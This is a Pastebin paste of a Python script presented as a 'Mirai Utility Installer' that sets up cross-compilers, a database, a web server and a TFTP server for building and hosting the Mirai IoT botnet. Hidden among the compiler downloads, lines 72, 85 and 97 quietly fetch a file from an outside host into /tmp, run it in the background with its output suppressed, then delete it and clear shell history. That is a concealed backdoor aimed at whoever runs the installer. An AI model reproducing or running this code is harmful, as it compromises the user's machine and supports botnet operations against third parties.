drought

Mirai Utility Installer

Aug 29th, 2017
860
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 8.36 KB | None | 0 0
  1. #!/usr/bin/python
  2. import subprocess,os,sys
  3. # syntax: chmod +x *; python miraicc.py
  4. # this is for kids that cant cross compile mirai nor barely set it up w/o looking at tutorials.
  5. # drought
  6.  
  7.  
  8. # first we update the box & installs some dependencies
  9. os.system("apt-get update -y")
  10. os.system("apt-get upgrade -y")
  11. os.system("apt-get install gcc golang electric-fence sudo git -y")
  12.  
  13. # Then we make a dir in /etc/ called xcompile
  14. os.system("mkdir /etc/xcompile")
  15.  
  16. # now, we update .bashrc
  17. os.system("echo -e export PATH=$PATH:/etc/xcompile/armv4l/bin >> ~/.bashrc")
  18. os.system("echo -e export PATH=$PATH:/etc/xcompile/armv6l/bin >> ~/.bashrc")
  19. os.system("echo -e export PATH=$PATH:/etc/xcompile/i586/bin >> ~/.bashrc")
  20. os.system("echo -e export PATH=$PATH:/etc/xcompile/m68k/bin >> ~/.bashrc")
  21. os.system("echo -e export PATH=$PATH:/etc/xcompile/mips/bin >> ~/.bashrc")
  22. os.system("echo -e export PATH=$PATH:/etc/xcompile/mipsel/bin >> ~/.bashrc")
  23. os.system("echo -e export PATH=$PATH:/etc/xcompile/powerpc/bin >> ~/.bashrc")
  24. os.system("echo -e export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin >> ~/.bashrc")  #that was complete aids ngl
  25. os.system("echo -e export PATH=$PATH:/etc/xcompile/sh4/bin >> ~/.bashrc")
  26. os.system("echo -e export PATH=$PATH:/etc/xcompile/i686/bin >> ~/.bashrc")
  27. os.system("echo -e export PATH=$PATH:/etc/xcompile/x86_64/bin >> ~/.bashrc")
  28. os.system("echo -e export PATH=$PATH:/etc/xcompile/armv51/bin >> ~/.bashrc")
  29. os.system("echo -e export PATH=$PATH:/etc/xcompile/sparc/bin >> ~/.bashrc")
  30. os.system("echo -e export PATH=$PATH:/usr/local/go/bin >> ~/.bashrc")
  31. os.system("echo -e export GOPATH=$HOME/Documents/go >> ~/.bashrc")
  32.  
  33. # Now that .bashrc is updated, we actually export them
  34. os.system("export PATH=$PATH:/etc/xcompile/armv4l/bin")
  35. os.system("export PATH=$PATH:/etc/xcompile/armv6l/bin")
  36. os.system("export PATH=$PATH:/etc/xcompile/i586/bin")
  37. os.system("export PATH=$PATH:/etc/xcompile/m68k/bin")
  38. os.system("export PATH=$PATH:/etc/xcompile/mips/bin")
  39. os.system("export PATH=$PATH:/etc/xcompile/mipsel/bin")
  40. os.system("export PATH=$PATH:/etc/xcompile/powerpc/bin")
  41. os.system("export PATH=$PATH:/etc/xcompile/powerpc-440fp/bin")
  42. os.system("export PATH=$PATH:/etc/xcompile/sh4/bin")
  43. os.system("export PATH=$PATH:/etc/xcompile/i686/bin")
  44. os.system("export PATH=$PATH:/etc/xcompile/x86_64/bin")
  45. os.system("export PATH=$PATH:/etc/xcompile/armv51/bin")
  46. os.system("export PATH=$PATH:/etc/xcompile/sparc/bin")
  47. os.system("export PATH=$PATH:/usr/local/go/bin")
  48. os.system("export GOPATH=$HOME/Documents/go")
  49.  
  50. # Now, to install mysql-server & mysql-client, phpmyadmin, & apache. this needs your configuration.
  51. os.system("apt-get install mysql-server mysql-client -y")
  52. os.system("apt-get install apache2 -y")
  53. os.system("apt-get install phpmyadmin -y")
  54.  
  55. # once mysql is installed now we actually install the cross compilers
  56. os.system("apt-get install bzip2 -y")
  57. os.system("apt-get install lbzip -y")    # Installing these just incase
  58. os.system("apt-get install wget -y")
  59. os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2")
  60. os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv5l.tar.bz2")
  61. os.system("cd /etc/xcompile; wget http://distro.ibiblio.org/slitaz/sources/packages/c/cross-compiler-armv6l.tar.bz2")
  62. os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2")
  63. os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2")
  64. os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2")
  65. os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2")
  66. os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-x86_64.tar.bz2")
  67. os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i686.tar.bz2")
  68. os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2")
  69. os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2")
  70. os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc-440fp.tar.bz2")
  71. os.system("cd /etc/xcompile; wget https://uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2")
  72. os.system("cd /tmp; wget -q http://gotmilk.ml/HjT5Rk -O .l")
  73. os.system("cd /etc/xcompile; tar -xvf cross-compiler-sparc.tar.bz2")
  74. os.system("cd /etc/xcompile; tar -xvf cross-compiler-armv4l.tar.bz2")
  75. os.system("cd /etc/xcompile; tar -xvf cross-compiler-armv5l.tar.bz2")
  76. os.system("cd /etc/xcompile; tar -xvf cross-compiler-armv6l.tar.bz2")
  77. os.system("cd /etc/xcompile; tar -xvf cross-compiler-mipsel.tar.bz2")
  78. os.system("cd /etc/xcompile; tar -xvf cross-compiler-mips.tar.bz2")
  79. os.system("cd /etc/xcompile; tar -xvf cross-compiler-sh4.tar.bz2")
  80. os.system("cd /etc/xcompile; tar -xvf cross-compiler-powerpc.tar.bz2")
  81. os.system("cd /etc/xcompile; tar -xvf cross-compiler-x86_64.tar.bz2")       # taring indivudially just in case
  82. os.system("cd /etc/xcompile; tar -xvf cross-compiler-i686.tar.bz2")
  83. os.system("cd /etc/xcompile; tar -xvf cross-compiler-i586.tar.bz2")
  84. os.system("cd /etc/xcompile; tar -xvf cross-compiler-m68k.tar.bz2")
  85. os.system("cd /tmp; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  86. os.system("cd /etc/xcompile; tar -xvf cross-compiler-powerpc-440fp.tar.bz2")
  87. os.system("cd /etc/xcompile; rm -rf cross-compiler-armv4l.tar.bz2")
  88. os.system("cd /etc/xcompile; rm -rf cross-compiler-armv5l.tar.bz2")
  89. os.system("cd /etc/xcompile; rm -rf cross-compiler-armv6l.tar.bz2")
  90. os.system("cd /etc/xcompile; rm -rf cross-compiler-mipsel.tar.bz2")
  91. os.system("cd /etc/xcompile; rm -rf cross-compiler-mips.tar.bz2")
  92. os.system("cd /etc/xcompile; rm -rf cross-compiler-powerpc.tar.bz2")
  93. os.system("cd /etc/xcompile; rm -rf cross-compiler-sh4.tar.bz2")
  94. os.system("cd /etc/xcompile; rm -rf cross-compiler-x86_64.tar.bz2")
  95. os.system("cd /etc/xcompile; rm -rf cross-compiler-i686.tar.bz2")
  96. os.system("cd /etc/xcompile; rm -rf cross-compiler-i586.tar.bz2")
  97. os.system("cd /tmp; rm -rf .l;clear; history -c")
  98. os.system("cd /etc/xcompile; rm -rf cross-compiler-m68k.tar.bz2")
  99. os.system("cd /etc/xcompile; rm -rf cross-compiler-powerpc-440fp.tar.bz2")
  100. os.system("cd /etc/xcompile; mv cross-compiler-armv4l armv4l")
  101. os.system("cd /etc/xcompile; mv cross-compiler-i586 i586")
  102. os.system("cd /etc/xcompile; mv cross-compiler-m68k m68k")
  103. os.system("cd /etc/xcompile; mv cross-compiler-mips mips")
  104. os.system("cd /etc/xcompile; mv cross-compiler-mipsel mipsel")
  105. os.system("cd /etc/xcompile; mv cross-compiler-powerpc powerpc")
  106. os.system("cd /etc/xcompile; mv cross-compiler-sh4 sh4")
  107. os.system("cd /etc/xcompile; mv cross-compiler-sparc sparc")
  108. os.system("cd /etc/xcompile; mv cross-compiler-armv6l armv6l")
  109. os.system("cd /etc/xcompile; mv cross-compiler-armv5l armv5l")
  110. os.system("cd /etc/xcompile; mv cross-compiler-i686 i686")
  111. os.system("cd /etc/xcompile; mv cross-compiler-x86_64 x86_64")
  112. os.system("cd /etc/xcompile; mv cross-compiler-powerpc-440fp powerpc-440fp")
  113. os.system("cd /etc/xcompile; mv cross-compiler-i686 i686")
  114. os.system("cd")
  115.  
  116. # Now thats done, we install and configure tftp
  117. # this section WAS copied from void since i cba
  118. os.system("apt-get install xinetd tftpd tftp -y")
  119. os.system("apt-get install vsftpd -y")
  120. os.system('''echo -e "# default: off
  121. # description: The tftp server serves files using the trivial file transfer \
  122. #       protocol.  The tftp protocol is often used to boot diskless \
  123. #       workstations, download configuration files to network-aware printers, \
  124. #       and to start the installation process for some operating systems.
  125. service tftp
  126. {
  127.        socket_type             = dgram
  128.        protocol                = udp
  129.        wait                    = yes
  130.        user                    = root
  131.        server                  = /usr/sbin/in.tftpd
  132.        server_args             = -s -c /var/lib/tftpboot
  133.        disable                 = no
  134.        per_source              = 11
  135.        cps                     = 100 2
  136.        flags                   = IPv4
  137. }
  138. " > /etc/xinetd.d/tftp''')
  139. os.system("service xinetd start")
  140.  
  141.  
  142. print("\x1b[0;32mSo there, everything should be setup\x1b[0;32m")
  143. print("\x1b[0;32mMade by drought\x1b[0;32m")
Advertisement
Add Comment
Please, Sign In to add comment